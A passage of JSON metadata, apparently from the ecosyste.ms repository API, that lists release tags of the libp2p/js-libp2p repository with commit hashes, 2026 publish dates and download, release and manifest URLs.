.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.12/manifests"},{"name":"dcutr-v3.0.27","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.27/manifests"},{"name":"daemon-v6.0.36","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.36","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.36/manifests"},{"name":"daemon-server-v9.0.36","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.36","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.36/manifests"},{"name":"daemon-protocol-v8.0.11","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-protocol-v8.0.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-protocol-v8.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-protocol-v8.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.11/manifests"},{"name":"daemon-client-v10.0.36","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.36","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.36/manifests"},{"name":"crypto-v5.1.23","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/crypto-v5.1.23","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/crypto-v5.1.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@crypto-v5.1.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.23/manifests"},{"name":"config-v1.1.37","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.37","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.37/manifests"},{"name":"circuit-relay-v2-v4.2.12","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.12/manifests"},{"name":"bootstrap-v12.0.30","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.30/manifests"},{"name":"autonat-v3.0.27","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.27/manifests"},{"name":"autonat-v2-v2.1.3","sha":"c484322727af01112c1f657a35239e910c413c08","kind":"commit","published_at":"2026-08-22T20:57:24.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.1.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.3/manifests"},{"name":"webtransport-v6.0.35","sha":"c43e09315cc829fec563a742aa058927ac6c130d","kind":"commit","published_at":"2026-08-13T22:58:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.35","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.35/manifests"},{"name":"transport-interop-libp2p-main-v1.0.36","sha":"c43e09315cc829fec563a742aa058927ac6c130d","kind":"commit","published_at":"2026-08-13T22:58:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.36","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.36/manifests"},{"name":"kad-dht-v16.4.3","sha":"c43e09315cc829fec563a742aa058927ac6c130d","kind":"commit","published_at":"2026-08-13T22:58:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.4.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.3/manifests"},{"name":"interop-v14.0.35","sha":"c43e09315cc829fec563a742aa058927ac6c130d","kind":"commit","published_at":"2026-08-13T22:58:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.35","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.35/manifests"},{"name":"integration-tests-v1.2.19","sha":"c43e09315cc829fec563a742aa058927ac6c130d","kind":"commit","published_at":"2026-08-13T22:58:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.19/manifests"},{"name":"gossipsub-v17.0.0","sha":"c43e09315cc829fec563a742aa058927ac6c130d","kind":"commit","published_at":"2026-08-13T22:58:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v17.0.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v17.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v17.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.0.0/manifests"},{"name":"daemon-v6.0.35","sha":"c43e09315cc829fec563a742aa058927ac6c130d","kind":"commit","published_at":"2026-08-13T22:58:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.35","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.35/manifests"},{"name":"daemon-server-v9.0.35","sha":"c43e09315cc829fec563a742aa058927ac6c130d","kind":"commit","published_at":"2026-08-13T22:58:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.35","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.35/manifests"},{"name":"daemon-client-v10.0.35","sha":"c43e09315cc829fec563a742aa058927ac6c130d","kind":"commit","published_at":"2026-08-13T22:58:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.35","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.35/manifests"},{"name":"webtransport-v6.0.34","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.34","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.34/manifests"},{"name":"websockets-v10.1.19","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.19","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.19/manifests"},{"name":"webrtc-v6.0.29","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.29/manifests"},{"name":"utils-v7.3.2","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.3.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.3.2/manifests"},{"name":"upnp-nat-v4.0.26","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.26/manifests"},{"name":"transport-interop-libp2p-main-v1.0.35","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.35","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.35/manifests"},{"name":"tls-v3.1.8","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.8/manifests"},{"name":"tcp-v11.0.26","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.26/manifests"},{"name":"simple-metrics-v2.0.20","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/simple-metrics-v2.0.20","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/simple-metrics-v2.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@simple-metrics-v2.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.20/manifests"},{"name":"prometheus-metrics-v5.0.27","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.27/manifests"},{"name":"pnet-v3.0.27","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.27/manifests"},{"name":"plaintext-v3.0.26","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.26/manifests"},{"name":"ping-v3.1.11","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.11/manifests"},{"name":"perf-v5.1.11","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.11/manifests"},{"name":"peer-store-v12.0.26","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.26/manifests"},{"name":"peer-record-v9.0.15","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-record-v9.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-record-v9.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-record-v9.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.15/manifests"},{"name":"peer-id-v6.0.14","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-id-v6.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-id-v6.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-id-v6.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.14/manifests"},{"name":"peer-collections-v7.0.26","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.26/manifests"},{"name":"opentelemetry-metrics-v2.0.27","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.27","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.27/manifests"},{"name":"multistream-select-v7.0.26","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.26/manifests"},{"name":"mplex-v12.0.29","sha":"59ccecc405e49b81ade4218b84a16c036b340b61","kind":"commit","published_at":"2026-07-30T06:16:18.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.29","tag_url":"https://repos.ecosyste.ms/api